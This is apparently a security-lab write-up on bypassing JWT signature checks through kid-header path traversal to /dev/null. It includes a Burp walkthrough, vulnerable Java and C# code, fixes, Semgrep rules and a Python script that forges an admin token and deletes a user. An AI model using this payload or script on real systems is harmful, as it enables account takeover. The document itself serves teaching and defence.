Post

Lab 06: JWT authentication bypass via kid header path traversal

Lab 06: JWT authentication bypass via kid header path traversal

1. Executive Summary

Vulnerability: Path Traversal leading to JWT Signature Bypass.

Description: The application uses the kid (Key ID) header in the JWT to locate the correct symmetric verification key on its local filesystem. Because the application fails to sanitize the kid value, an attacker can use a path traversal sequence (../../../../../../../dev/null) to point the file reader to /dev/null. This forces the application to load an empty file, effectively setting the symmetric HMAC secret to an empty string or null byte.

Impact: Full Account Takeover. The attacker can forge tokens for any user and sign them using a known, empty symmetric key, bypassing the authentication mechanism entirely.

2. The Attack

Objective: Access the admin panel by forcing the server to use /dev/null as the HMAC signing key, allowing us to forge a valid token for the administrator.

  1. Reconnaissance & Key Preparation:
    • I logged in as wiener and captured the session JWT.
    • In Burp’s JWT Editor Keys tab, I created a New Symmetric Key.
    • I generated a JWK and replaced the k value (the secret) with AA== (which represents a Base64-encoded null byte). This acts as my local signing key to match the empty /dev/null file on the server.
  2. Token Forgery:
    • I sent the GET /admin request to Repeater and switched to the JSON Web Token view.
    • In the Header, I changed the kid parameter to the path traversal payload: ../../../../../../../dev/null.
    • In the Payload, I changed the sub claim to administrator.
  3. Exploitation:
    • I clicked Sign at the bottom of the tab and selected the null-byte symmetric key I created earlier.
    • I checked Don’t modify header to ensure my traversal payload remained intact.
    • I sent the request. The server read /dev/null, derived an empty byte array for the secret, and successfully verified my forged HMAC signature.
    • I accessed the admin panel and executed the /admin/delete?username=carlos endpoint.

3. Code Review

Java (Spring Boot / JJWT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Claims parseToken(String token) {
    return Jwts.parserBuilder()
        .setSigningKeyResolver(new SigningKeyResolverAdapter() {
            @Override
            public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                String kid = header.getKeyId();
                try {
                    // VULNERABLE: Direct concatenation of attacker input into a file path
                    Path keyPath = Paths.get("/var/www/jwt/keys/" + kid);
                    
                    // Reading the file blindly
                    return Files.readAllBytes(keyPath);
                } catch (IOException e) {
                    return null;
                }
            }
        })
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • Paths.get("/var/www/jwt/keys/" + kid): The application attempts to dynamically load the signing key from disk. It concatenates the hardcoded directory with the attacker-controlled kid.
  • Path Traversal: When kid is ../../../../../../../dev/null, the resulting path resolves backwards up to the filesystem root, ultimately targeting the /dev/null device file.
  • Files.readAllBytes(keyPath): The application reads /dev/null, which is completely empty. It returns an empty byte array (byte[0]). The JJWT library then uses this empty array as the HMAC secret to verify the token, allowing the attack to succeed.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public ClaimsPrincipal ValidateToken(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        ValidateIssuer = false,
        ValidateAudience = false,
        
        IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
        {
            // VULNERABLE: Using Path.Combine with untrusted input
            var keyPath = Path.Combine("App_Data", "Keys", kid);
            
            if (File.Exists(keyPath))
            {
                // Reading the traversed file
                var keyBytes = File.ReadAllBytes(keyPath);
                return new[] { new SymmetricSecurityKey(keyBytes) };
            }
            return null;
        }
    };

    return handler.ValidateToken(token, parameters, out _);
}

Technical Flow & Syntax Explanation:

  • Path.Combine("App_Data", "Keys", kid): In .NET, if the second or third argument to Path.Combine is an absolute path or contains traversal characters (..), it can navigate outside the intended directory.
  • File.ReadAllBytes(keyPath): Similar to the Java example, reading /dev/null (or a similar empty file construct if running on Linux/Containers) yields an empty byte array.
  • new SymmetricSecurityKey(keyBytes): The framework accepts the empty byte array as a valid cryptographic key, resulting in a successful bypass when checking the forged HMAC signature.

Mock PR Comment

The JWT verification logic resolves the signing key by reading a file from the disk based on the kid header. Because this input is not sanitized, an attacker can perform a path traversal attack to force the application to read /dev/null. This results in the token being verified against an empty secret key.

Recommendation: Do not use filesystem lookups based on raw token headers. Instead, load all valid keys into a static, in-memory Map or Dictionary at application startup. Use the kid solely to perform a safe lookup within this data structure.


4. The Fix

Secure Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Store keys in a secure, pre-loaded map
private static final Map<String, byte[]> TRUSTED_KEYS = loadKeysAtStartup();

public Claims parseToken(String token) {
    return Jwts.parserBuilder()
        .setSigningKeyResolver(new SigningKeyResolverAdapter() {
            @Override
            public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                String kid = header.getKeyId();
                
                // SECURE: Direct map lookup prevents path traversal entirely
                byte[] key = TRUSTED_KEYS.get(kid);
                
                if (key == null) {
                    throw new SecurityException("Unknown kid provided.");
                }
                return key;
            }
        })
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • TRUSTED_KEYS.get(kid): By replacing the file I/O operations with an in-memory Map lookup, the vulnerability class (Path Traversal) is entirely eliminated. If the attacker supplies ../../../../../../../dev/null, the Map simply returns null, and the authentication fails securely.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Pre-loaded dictionary of valid keys
private readonly Dictionary<string, byte[]> _trustedKeys = LoadKeys();

public ClaimsPrincipal ValidateToken(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
        {
            // SECURE: Safe dictionary lookup
            if (!string.IsNullOrEmpty(kid) && _trustedKeys.TryGetValue(kid, out var keyBytes))
            {
                return new[] { new SymmetricSecurityKey(keyBytes) };
            }
            throw new SecurityTokenException("Unknown or invalid kid.");
        }
    };

    return handler.ValidateToken(token, parameters, out _);
}

Technical Flow & Syntax Explanation:

  • _trustedKeys.TryGetValue(kid, out var keyBytes): This safely checks if the untrusted kid string explicitly matches an expected key ID loaded into memory. There is no string concatenation or filesystem interaction, cutting off the traversal vector completely.

5. Automation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import argparse
import requests
import jwt # pip install PyJWT
import sys

def exploit_kid_traversal(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    token = s.cookies.get('session')
    if not token:
        print("[-] No session cookie found.")
        return

    print("[*] Forging admin token with path traversal kid...")
    
    # 1. Decode original payload
    payload_b64 = token.split('.')[1]
    import base64
    padding = '=' * (4 - (len(payload_b64) % 4))
    payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
    import json
    payload = json.loads(payload_str)
    
    # 2. Modify claims
    payload['sub'] = 'administrator'
    
    # 3. Create malicious headers with Path Traversal
    headers = {
        "alg": "HS256",
        "kid": "../../../../../../../dev/null"
    }

    # 4. Sign the token using an empty byte secret (representing /dev/null)
    # A null byte or empty string satisfies the PyJWT encoding for HS256
    empty_secret = b"\x00" 
    
    forged_token = jwt.encode(payload, empty_secret, algorithm="HS256", headers=headers)
    
    print(f"[*] Sending forged token to /admin...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    if "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_kid_traversal(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
  - id: java-jwt-kid-path-traversal
    languages: [java]
    message: |
      The JWT SigningKeyResolver extracts the 'kid' header and uses it in a file path operation.
      This allows path traversal. Avoid using token headers to read files directly.
    severity: ERROR
    patterns:
      - pattern-inside: |
          new SigningKeyResolverAdapter() {
            public byte[] resolveSigningKeyBytes(JwsHeader $HEADER, Claims $CLAIMS) {
              ...
            }
          }
      - pattern: Paths.get(..., $HEADER.getKeyId(), ...)

Technical Flow & Syntax Explanation:

  • resolveSigningKeyBytes: Narrows the analysis context to the JJWT key resolution block handling raw bytes.
  • Paths.get(..., $HEADER.getKeyId(), ...): Identifies the exact dangerous sink where the unsanitized kid header is passed into a filesystem path construction method.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: csharp-jwt-kid-path-traversal
    languages: [csharp]
    message: |
      IssuerSigningKeyResolver reads the 'kid' header and passes it to Path.Combine or File operations.
      This leads to path traversal and cryptographic bypass.
    severity: ERROR
    patterns:
      - pattern-inside: |
          IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
      - pattern-either:
          - pattern: Path.Combine(..., $KID, ...)
          - pattern: File.ReadAllBytes($KID)

Technical Flow & Syntax Explanation:

  • IssuerSigningKeyResolver = ...: Targets the C# delegate used for dynamic key retrieval.
  • Path.Combine(..., $KID, ...): Flags the unsafe concatenation of the user-controlled kid string into a filepath, identifying the root cause of the traversal vulnerability within the cryptographic logic.
This post is licensed under CC BY 4.0 by the author.